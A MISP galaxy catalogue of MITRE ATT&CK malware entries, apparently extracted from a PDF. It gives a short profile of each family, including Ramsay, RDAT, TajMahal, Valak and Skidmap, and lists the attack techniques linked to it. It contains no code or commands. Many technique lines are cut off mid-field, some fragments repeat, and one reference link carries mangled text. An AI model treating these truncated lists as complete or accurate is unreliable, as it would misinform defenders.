• uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1637.001" with
Ramsay - S0458

[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)

The tag is: `misp-galaxy:mitre-malware="Ramsay - S0458"`

Ramsay - S0458 is also known as:

- Ramsay

View relationships graph

Ramsay - S0458 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
RDAT - S0495

[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector. (Citation: Unit42 RDAT July 2020)

The tag is: `misp-galaxy:mitre-malware="RDAT - S0495"`

RDAT - S0495 is also known as:

- RDAT

View relationships graph

RDAT - S0495 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
SilkBean - S0549

[SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group. (Citation: Lookout Uyghur Campaign)

The tag is: `misp-galaxy:mitre-malware="SilkBean - S0549"`

SilkBean - S0549 is also known as:

- SilkBean

**View relationships graph**

SilkBean - S0549 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="SMS Control - T1582"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"


Table 7135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0549">https://attack.mitre.org/software/S0549</a></td>
</tr>
</tbody>
</table>

**MechaFlounder - S0459**

[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)

The tag is: `misp-galaxy:mitre-malware="MechaFlounder - S0459"`

MechaFlounder - S0459 is also known as:

- MechaFlounder

View relationships graph

MechaFlounder - S0459 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
SpicyOmelette - S0646

[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018. (Citation: Secureworks GOLD KINGSWOOD September 2018)

The tag is: *misp-galaxy:mitre-malware="SpicyOmelette - S0646"

SpicyOmelette - S0646 is also known as:

- SpicyOmelette

View relationships graph

SpicyOmelette - S0646 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
Pandora - S0664

[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: `misp-galaxy:mitre-malware="Pandora - S0664"`

Pandora - S0664 is also known as:

- Pandora

View relationships graph

Pandora - S0664 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

**Table 7138. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0664">https://attack.mitre.org/software/S0664</a></td>
</tr>
</tbody>
</table>

**WindTail - S0466**

[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: `misp-galaxy:mitre-malware="WindTail - S0466"`

WindTail - S0466 is also known as:

• WindTail

View relationships graph

WindTail - S0466 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"


Table 7139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0466">https://attack.mitre.org/software/S0466</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x3B.html">https://objective-see.com/blog/blog_0x3B.html</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x3D.html">https://objective-see.com/blog/blog_0x3D.html</a></td>
</tr>
</tbody>
</table>

**CharmPower - S0674**

[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)

The tag is: `misp-galaxy:mitre-malware="CharmPower - S0674"`

CharmPower - S0674 is also known as:

• CharmPower

View relationships graph

CharmPower - S0674 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
TajMahal - S0467

[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)

The tag is: `misp-galaxy:mitre-malware="TajMahal - S0467"`

TajMahal - S0467 is also known as:

- TajMahal

View relationships graph

TajMahal - S0467 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with
  estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with
  estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with
  estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-
  language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with
  estimative-language:likelihood-probability="almost-certain"

**Table 7141. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0467">https://attack.mitre.org/software/S0467</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/project-tajmahal/90240/">https://securelist.com/project-tajmahal/90240/</a></td>
</tr>
</tbody>
</table>

4186
Turian - S0647

[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: `misp-galaxy:mitre-malware="Turian - S0647"`

Turian - S0647 is also known as:

- Turian

View relationships graph

Turian - S0647 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

*Table 7142. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0647">https://attack.mitre.org/software/S0647</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/">High webinar of the 20210610 Backdoor Diplomacy Upgrading Quarian Turian</a></td>
</tr>
</tbody>
</table>

**Valak - S0476**

[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.\(^{\text{Citation: Cybereason Valak May 2020}}\)\(^{\text{Citation: Unit 42 Valak July 2020}}\)

The tag is: *misp-galaxy:mitre-malware="Valak - S0476"*

Valak - S0476 is also known as:

- Valak

*View relationships graph*

Valak - S0476 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with 
estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with 
estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with 
estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-
  language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-
Bonadan - S0486

[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors. (Citation: ESET ForSSHe December 2018)

The tag is: `misp-galaxy:mitre-malware="Bonadan - S0486"`

Bonadan - S0486 is also known as:

- Bonadan

View relationships graph

Bonadan - S0486 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0486">https://attack.mitre.org/software/S0486</a></td>
</tr>
</tbody>
</table>

Skidmap - S0468

[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining. (Citation: Trend Micro Skidmap)

The tag is: misp-galaxy:mitre-malware="Skidmap - S0468"

Skidmap - S0468 is also known as:

• Skidmap

View relationships graph

Skidmap - S0468 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

---

**Table 7145. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0468">https://attack.mitre.org/software/S0468</a></td>
</tr>
</tbody>
</table>

---

**ABK - S0469**

[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="ABK - S0469"*

ABK - S0469 is also known as:
• ABK

View relationships graph

ABK - S0469 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0469">https://attack.mitre.org/software/S0469</a></td>
</tr>
</tbody>
</table>

SMOKEDHAM - S0649

[SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)

The tag is: misp-galaxy:mitre-malware="SMOKEDHAM - S0649"

SMOKEDHAM - S0649 is also known as:

• SMOKEDHAM

View relationships graph

SMOKEDHAM - S0649 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"

